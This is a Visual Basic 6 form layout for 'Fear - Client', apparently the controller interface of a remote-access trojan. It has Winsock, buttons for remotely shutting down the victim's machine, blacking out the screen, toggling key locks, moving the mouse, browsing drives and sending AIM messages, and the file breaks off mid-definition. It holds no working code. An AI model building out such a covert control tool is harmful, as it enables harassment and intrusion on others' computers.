📄 form1.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{BDC217C8-ED16-11CD-956C-0000C04E4C0A}#1.1#0"; "TABCTL32.OCX"
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
Begin VB.Form frmMain
BorderStyle = 1 'Fixed Single
Caption = "Fear - Client"
ClientHeight = 5490
ClientLeft = 45
ClientTop = 330
ClientWidth = 3780
Icon = "Form1.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
ScaleHeight = 5490
ScaleWidth = 3780
StartUpPosition = 2 'CenterScreen
Begin MSWinsockLib.Winsock WS
Left = 1515
Top = 240
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin TabDlg.SSTab TABS
Height = 4365
Left = 0
TabIndex = 0
Top = 855
Width = 3780
_ExtentX = 6668
_ExtentY = 7699
_Version = 393216
Tabs = 4
Tab = 1
TabsPerRow = 4
TabHeight = 520
WordWrap = 0 'False
ShowFocusRect = 0 'False
OLEDropMode = 1
BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851}
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
TabCaption(0) = "Basic"
TabPicture(0) = "Form1.frx":000C
Tab(0).ControlEnabled= 0 'False
Tab(0).Control(0)= "cmdMouse"
Tab(0).Control(1)= "cmdPrint"
Tab(0).Control(2)= "txtClip"
Tab(0).Control(3)= "txtWWW"
Tab(0).Control(4)= "txtMessage"
Tab(0).Control(5)= "Command2"
Tab(0).Control(6)= "cmdWWW"
Tab(0).Control(7)= "cmdClip"
Tab(0).Control(8)= "cmdCloseServer"
Tab(0).Control(9)= "cmdChat"
Tab(0).Control(10)= "cmdKrazyKeys"
Tab(0).Control(11)= "cmdShutdown"
Tab(0).Control(12)= "cmdRestart"
Tab(0).Control(13)= "cmdBlackout"
Tab(0).Control(14)= "cmdScrollOff"
Tab(0).Control(15)= "cmdScrollOn"
Tab(0).Control(16)= "cmdNumsOff"
Tab(0).Control(17)= "cmdNumsOn"
Tab(0).Control(18)= "cmdCapsOff"
Tab(0).Control(19)= "cmdCapsOn"
Tab(0).Control(20)= "cmdStopCD"
Tab(0).Control(21)= "cmdPlayCD"
Tab(0).Control(22)= "cmdCloseCD"
Tab(0).Control(23)= "cmdOpenCD"
Tab(0).ControlCount= 24
TabCaption(1) = "Explorer"
TabPicture(1) = "Form1.frx":0028
Tab(1).ControlEnabled= -1 'True
Tab(1).Control(0)= "lbldriveinf"
Tab(1).Control(0).Enabled= 0 'False
Tab(1).Control(1)= "cmbDrives"
Tab(1).Control(1).Enabled= 0 'False
Tab(1).Control(2)= "cmdListDrives"
Tab(1).Control(2).Enabled= 0 'False
Tab(1).Control(3)= "List1"
Tab(1).Control(3).Enabled= 0 'False
Tab(1).ControlCount= 4
TabCaption(2) = "AIM"
TabPicture(2) = "Form1.frx":0044
Tab(2).ControlEnabled= 0 'False
Tab(2).Control(0)= "Label4"
Tab(2).Control(0).Enabled= 0 'False
Tab(2).Control(1)= "txtAIMChat"
Tab(2).Control(1).Enabled= 0 'False
Tab(2).Control(2)= "txtAIMIM"
Tab(2).Control(2).Enabled= 0 'False
Tab(2).Control(3)= "cmdAIMChat"
Tab(2).Control(3).Enabled= 0 'False
Tab(2).Control(4)= "cmdAIMIM"
Tab(2).Control(4).Enabled= 0 'False
Tab(2).Control(5)= "txtIMSN"
Tab(2).Control(5).Enabled= 0 'False
Tab(2).Control(6)= "txtChatNAme"
Tab(2).Control(6).Enabled= 0 'False
Tab(2).Control(7)= "txtJoinChat"
Tab(2).Control(7).Enabled= 0 'False
Tab(2).ControlCount= 8
TabCaption(3) = "Info"
TabPicture(3) = "Form1.frx":0060
Tab(3).ControlEnabled= 0 'False
Tab(3).Control(0)= "Label3"
Tab(3).Control(1)= "txtInfo"
Tab(3).Control(2)= "cmdUpdateInfo"
Tab(3).ControlCount= 3
Begin VB.CommandButton cmdMouse
Caption = "Move Mouse"
Height = 285
Left = -74865
TabIndex = 45
Top = 3195
Width = 1500
End
Begin VB.CommandButton cmdPrint
Caption = "Print Text..."
Height = 285
Left = -74865
TabIndex = 44
Top = 2925
Width = 1500
End
Begin VB.TextBox txtClip
Height = 315
Left = -74805
TabIndex = 35
Text = "New Text"
Top = 2145
Width = 1350
End
Begin VB.TextBox txtWWW
Height = 315
Left = -74805
TabIndex = 9
Text = "www.ulair.cjb.net"
Top = 1455
Width = 1350
End
Begin VB.TextBox txtMessage
Height = 315
Left = -74805
TabIndex = 6
Text = "Message Text"
Top = 765
Width = 1365
End
Begin VB.CommandButton Command2
Caption = "Message Box"
Height = 270
Left = -74805
TabIndex = 7
Top = 1095
Width = 1380
End
Begin VB.CommandButton cmdWWW
Caption = "Webpage Popup"
Height = 270
Left = -74805
TabIndex = 10
Top = 1785
Width = 1365
End
Begin VB.CommandButton cmdClip
Caption = "Set Clipboard Text"
Height = 270
Left = -74835
TabIndex = 36
Top = 2475
Width = 1425
End
Begin VB.CommandButton cmdCloseServer
Caption = "&Close Remote Server"
Height = 450
Left = -73155
TabIndex = 34
Top = 3795
Width = 1800
End
Begin VB.ListBox List1
Height = 2985
ItemData = "Form1.frx":007C
Left = 90
List = "Form1.frx":007E
TabIndex = 41
Top = 765
Width = 3555
End
Begin VB.CommandButton cmdListDrives
Caption = "List Drives"
Height = 315
Left = 2745
TabIndex = 40
Top = 390
Width = 900
End
Begin VB.ComboBox cmbDrives
Height = 315
ItemData = "Form1.frx":0080
Left = 120
List = "Form1.frx":0082
TabIndex = 39
Text = "cmbDrives"
Top = 405
Width = 2595
End
Begin VB.CommandButton cmdChat
Caption = "Chat With Server..."
Height = 300
Left = -73140
TabIndex = 38
Top = 2535
Width = 1740
End
Begin VB.CommandButton cmdKrazyKeys
Caption = "Krazy Key Locks"
Height = 270
Left = -73155
TabIndex = 21
Top = 2145
Width = 1770
End
Begin VB.CommandButton cmdShutdown
Caption = "Shutdown Windows"
Height = 270
Left = -73155
TabIndex = 23
Top = 3435
Width = 1785
End
Begin VB.CommandButton cmdRestart
Caption = "Restart Windows"
Height = 270
Left = -73155
TabIndex = 22
Top = 3180
Width = 1785
End
Begin VB.CommandButton cmdBlackout
Caption = "Blackout Screen..."
Height = 270
Left = -73155
TabIndex = 37
Top = 2925
Width = 1785
End
Begin VB.CommandButton txtJoinChat
Caption = "Join Chat"
Height = 270
Left = -74070
TabIndex = 33
Top = 1440
Width = 1755
End
Begin VB.TextBox txtChatNAme
Height = 300
Left = -74070
TabIndex = 32
Text = "Chatname"
Top = 1140
Width = 1740
End
Begin VB.TextBox txtIMSN
Height = 285
Left = -74055
TabIndex = 31
Text = "SN"
Top = 2415
Width = 1755
End
Begin VB.CommandButton cmdAIMIM
Caption = "Send Message To IM"
Height = 270
Left = -74055
TabIndex = 30
Top = 3015
Width = 1755
End
Begin VB.CommandButton cmdAIMChat
Caption = "Send To Chat"
Height = 270
Left = -74055
TabIndex = 29
Top = 2100
Width = 1755
End
Begin VB.TextBox txtAIMIM
Height = 285
Left = -74055
TabIndex = 28
Text = "Message"
Top = 2715
Width = 1755
End
Begin VB.TextBox txtAIMChat
Height = 300
Left = -74055
TabIndex = 27
Text = "Message"
Top = 1800
Width = 1740
End
Begin VB.CommandButton cmdUpdateInfo
Caption = "Update Info..."
Height = 300
Left = -74910
TabIndex = 25
Top = 3975
Width = 3585
End
Begin VB.TextBox txtInfo
Height = 3270
Left = -74910
Locked = -1 'True
MultiLine = -1 'True
ScrollBars = 2 'Vertical
TabIndex = 24
Top = 645
Width = 3600
End
Begin VB.CommandButton cmdScrollOff
Caption = "Scroll Off"
Height = 255
Left = -72255
TabIndex = 20
Top = 1905
Width = 870
End
Begin VB.CommandButton cmdScrollOn
Caption = "Scroll On"
Height = 255
Left = -73155
TabIndex = 19
Top = 1905
Width = 915
End
Begin VB.CommandButton cmdNumsOff
Caption = "Nums Off"
Height = 270
Left = -72255
TabIndex = 18
Top = 1650
Width = 870
End
Begin VB.CommandButton cmdNumsOn
Caption = "Nums On"
Height = 270
Left = -73155
TabIndex = 17
Top = 1650
Width = 915
End
Begin VB.CommandButton cmdCapsOff
Caption = "Caps Off"
Height = 270
Left = -72255
TabIndex = 16
Top = 1395
Width = 870
End
Begin VB.CommandButton cmdCapsOn
Caption = "Caps On"
Height = 270
Left = -73155
TabIndex = 15
Top = 1395
Width = 915
End
Begin VB.CommandButton cmdStopCD
Caption = "Stop CD"
Height = 270
Left = -72255
TabIndex = 14
Top = 1005
Width = 870
End
Begin VB.CommandButton cmdPlayCD
Caption = "Play CD"
Height = 270
Left = -73155
TabIndex = 13
Top = 1005
Width = 915
End
Begin VB.CommandButton cmdCloseCD
Caption = "Close CD"
Height = 270
Left = -72255
TabIndex = 12
Top = 750
Width = 870
End
Begin VB.CommandButton cmdOpenCD
Caption = "Open CD"
Height = 270
Left = -73155
TabIndex = 11
Top = 750
Width = 915
End
Begin VB.Label Label4
Alignment = 2 'Center
Caption = "The following commands can only be used if the remote computer is signed on to AIM."
Height = 660
Left = -74940
TabIndex = 43
Top = 405
Width = 3630
End
Begin VB.Label lbldriveinf
Alignment = 2 'Center
Caption = "drive info"
Height = 480
Left = 105
TabIndex = 42
Top = 3795
Width = 3510
End
Begin VB.Label Label3
Caption = "Server Information:"
BeginProperty Font
Name = "Verdana"
Size = 9
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -